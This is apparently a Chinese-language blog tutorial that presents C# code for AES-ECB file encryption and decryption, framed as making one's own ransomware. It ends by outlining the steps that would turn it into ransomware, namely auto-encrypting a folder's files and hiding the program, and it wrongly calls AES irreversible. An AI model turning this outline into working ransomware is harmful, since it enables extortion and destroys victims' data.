搜尋此網誌

2016年4月4日 星期一

利用AES加密演算法實作勒索病毒程式

最近勒索病毒很火紅
也很令人困擾
但其實他所用的技術並不是什麼艱深的技術
他所利用的其實也就是加密技術而已
把檔案用Stream的方式讀出
然後再進行加密
若加密的方式也是像AES這樣是不可逆的加密方式
一旦被加密了就很難解密
接下來我們就利用AES加密演算法自己製作勒索病毒程式吧



首先設計個簡單的UI
可以設計自己的32個字串的密碼
 然後選擇瀏覽檔案選擇要加密的檔案
製作一個簡單的word文字
 然後按下加密
 產生好的檔案就被破壞而打不開了
 接下來進行解密,驗證檔案是否已經還原
hello.docx為原始檔案
hello_Encrypt.docx為加密後的檔案
hello_Encrypt_Decrypt.docx為解密後的檔案

部分程式碼如下:

  1. private void btnEncrypt_Click(object sender, EventArgs e)  
  2.         {  
  3.             if (checkKeyAndFile())  
  4.             {  
  5.                 FileStream fs1 = File.OpenRead(txtFile.Text);  
  6.                 Byte[] byte1 = new Byte[fs1.Length];  
  7.                 fs1.Read(byte1, 0, (int)byte1.Length);  
  8.                 fs1.Close();  
  9.                 fs1.Dispose();  
  10.   
  11.                 string strEncrypt = Encrypt_AES(Convert.ToBase64String(byte1, 0, byte1.Length), txtKey.Text);  
  12.   
  13.                 string strNewFileName = txtFile.Text.Replace(txtFile.Tag.ToString(), "_Encrypt." + txtFile.Tag.ToString());  
  14.                 FileStream fs2 = new FileStream(strNewFileName, FileMode.Create);  
  15.                 Byte[] byte2 = Convert.FromBase64String(strEncrypt);  
  16.                 fs2.Write(byte2, 0, (int)byte2.Length);  
  17.                 fs2.Close();  
  18.                 fs2.Dispose();  
  19.   
  20.                 MessageBox.Show("加密完畢");  
  21.             }  
  22.         }  
  23.   
  24.         private void btnDecrypt_Click(object sender, EventArgs e)  
  25.         {  
  26.             if (checkKeyAndFile())  
  27.             {  
  28.                 FileStream fs1 = File.OpenRead(txtFile.Text);  
  29.                 Byte[] byte1 = new Byte[fs1.Length];  
  30.                 fs1.Read(byte1, 0, (int)byte1.Length);  
  31.                 fs1.Close();  
  32.                 fs1.Dispose();  
  33.   
  34.                 string strDecrypt = Decrypt_AES(Convert.ToBase64String(byte1, 0, byte1.Length), txtKey.Text);  
  35.   
  36.                 if (strDecrypt.Length > 0)  
  37.                 {  
  38.                     string strNewFileName = txtFile.Text.Replace(txtFile.Tag.ToString(), "_Decrypt." + txtFile.Tag.ToString());  
  39.                     FileStream fs2 = new FileStream(strNewFileName, FileMode.Create);  
  40.                     Byte[] byte2 = Convert.FromBase64String(strDecrypt);  
  41.                     fs2.Write(byte2, 0, (int)byte2.Length);  
  42.                     fs2.Close();  
  43.                     fs2.Dispose();  
  44.   
  45.                     MessageBox.Show("解密完畢");  
  46.                 }  
  47.                 else  
  48.                 {  
  49.                     MessageBox.Show("解密的鑰匙錯誤或解密的檔案錯誤");  
  50.                 }  
  51.             }  
  52.         }  
  1. public String Encrypt_AES(String str, string strKey)  
  2. {  
  3.     Byte[] keyArray = System.Text.UTF8Encoding.UTF8.GetBytes(strKey);  
  4.     Byte[] toEncryptArray = System.Text.UTF8Encoding.UTF8.GetBytes(str);  
  5.   
  6.     System.Security.Cryptography.RijndaelManaged rDel = new System.Security.Cryptography.RijndaelManaged();  
  7.     rDel.Key = keyArray;  
  8.     rDel.Mode = System.Security.Cryptography.CipherMode.ECB;  
  9.     rDel.Padding = System.Security.Cryptography.PaddingMode.PKCS7;  
  10.   
  11.     System.Security.Cryptography.ICryptoTransform cTransform = rDel.CreateEncryptor();  
  12.     Byte[] resultArray = cTransform.TransformFinalBlock(toEncryptArray, 0, toEncryptArray.Length);  
  13.   
  14.     return Convert.ToBase64String(resultArray, 0, resultArray.Length);  
  15. }  
  16.   
  17. public String Decrypt_AES(String str, string strKey)  
  18. {  
  19.     try  
  20.     {  
  21.         Byte[] keyArray = System.Text.UTF8Encoding.UTF8.GetBytes(strKey);  
  22.         Byte[] toEncryptArray = Convert.FromBase64String(str);  
  23.   
  24.         System.Security.Cryptography.RijndaelManaged rDel = new System.Security.Cryptography.RijndaelManaged();  
  25.         rDel.Key = keyArray;  
  26.         rDel.Mode = System.Security.Cryptography.CipherMode.ECB;  
  27.         rDel.Padding = System.Security.Cryptography.PaddingMode.PKCS7;  
  28.   
  29.         System.Security.Cryptography.ICryptoTransform cTransform = rDel.CreateDecryptor();  
  30.         Byte[] resultArray = cTransform.TransformFinalBlock(toEncryptArray, 0, toEncryptArray.Length);  
  31.   
  32.         return System.Text.UTF8Encoding.UTF8.GetString(resultArray);  
  33.     }  
  34.     catch (Exception)  
  35.     {     
  36.         //throw ex.Message.ToString();  
  37.         return "";  
  38.     }  
  39. }  
至於要如何變成勒索病毒呢?
只要加一改造就好
自動偵測資料底下的檔案進行加密就好
最後再將程式碼製成隱藏的檔案就是一個簡單的勒索病毒了

為了不鼓勵大家做壞事
細節就不再多贊述
咱們還是以技術的角度來學習喔

沒有留言:

張貼留言